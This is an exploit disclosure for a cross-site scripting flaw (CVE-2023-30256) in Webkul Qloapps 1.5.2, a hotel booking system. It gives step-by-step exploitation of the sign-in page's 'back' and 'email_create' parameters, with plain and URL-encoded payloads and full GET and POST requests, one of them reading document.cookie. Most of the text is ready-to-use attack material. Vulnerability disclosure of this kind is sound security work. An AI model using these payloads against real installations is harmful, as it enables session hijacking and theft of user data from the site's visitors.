Exploit Title: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS)

Date: 15 May 2023

Exploit Author: Astik Rawat (ahrixia)

Vendor Homepage: https://qloapps.com/

Software Link: https://github.com/webkul/hotelcommerce

Version: 1.5.2

Tested on: Kali Linux 2022.4

CVE : CVE-2023-30256

Description:

A Cross Site Scripting (XSS) vulnerability exists in Webkul Qloapps which is a free and open-source hotel reservation & online booking system written in PHP and distributed under OSL-3.0 Licence.

Steps to exploit:

1. Go to Signin page on the system.
2. There are two parameters which can be exploited via XSS

• back
• email_create

2.1) Insert your payload in the “back”- GET and POST Request
Proof of concept (Poc):
The following payload will allow you to execute XSS -

Payload (Plain text):   

xss onfocus=alert(1) autofocus= xss

Payload (URL Encoded):
xss%20onfocus%3dalert(1)%20autofocus%3d%20xss

Full GET Request (back):
[http://localhost/hotelcommerce-1.5.2/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d]

2.2) Insert your payload in the “email_create” - POST Request Only
Proof of concept (Poc):
The following payload will allow you to execute XSS -

Payload (Plain text):
xss><img src=a onerror=alert(document.cookie)>xss

Payload (URL Encoded):
xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss

POST Request (email_create) (POST REQUEST DATA ONLY):
[controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d]